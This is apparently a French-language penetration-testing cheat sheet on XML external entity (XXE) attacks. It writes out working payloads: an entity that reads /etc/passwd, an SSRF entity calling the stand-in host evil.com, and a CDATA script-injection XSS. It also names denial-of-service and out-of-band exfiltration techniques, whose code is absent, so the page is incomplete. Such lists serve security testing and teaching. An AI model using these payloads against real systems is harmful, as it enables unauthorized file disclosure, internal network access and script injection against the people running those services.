📃XXE
Basic LFI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<element>
&xxe;
</element>SSRF via XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://evil.com/"> ]>
<element>
&xxe;
</element>XSS via XXE
<element>
<![CDATA['><script>alert(1);</script>]]>
</element>XXE avec Xinclude
DoS
Billion laughs attack
Quadratic Blowup
Si un attaquant définit l’entité &x; avec 55000 caractères et se réfère à cette entité 55000 fois à l’intérieur de l’élément "DoS", l’analyseur se retrouve avec une charge utile d’attaque de blowup quadratique XML légèrement supérieure à 200 Ko qui passe à 2,5 Go lors du parsing.
Script python:
Zip bomb
Exfiltration de données
Avec Burp collab
Exploit server
Mettre ce payload dans un fichier .dtd
Victim server
Via message d'erreur
Exploit server
Victim server
Intégrés dans des fichiers
Mis à jour
Ce contenu vous a-t-il été utile ?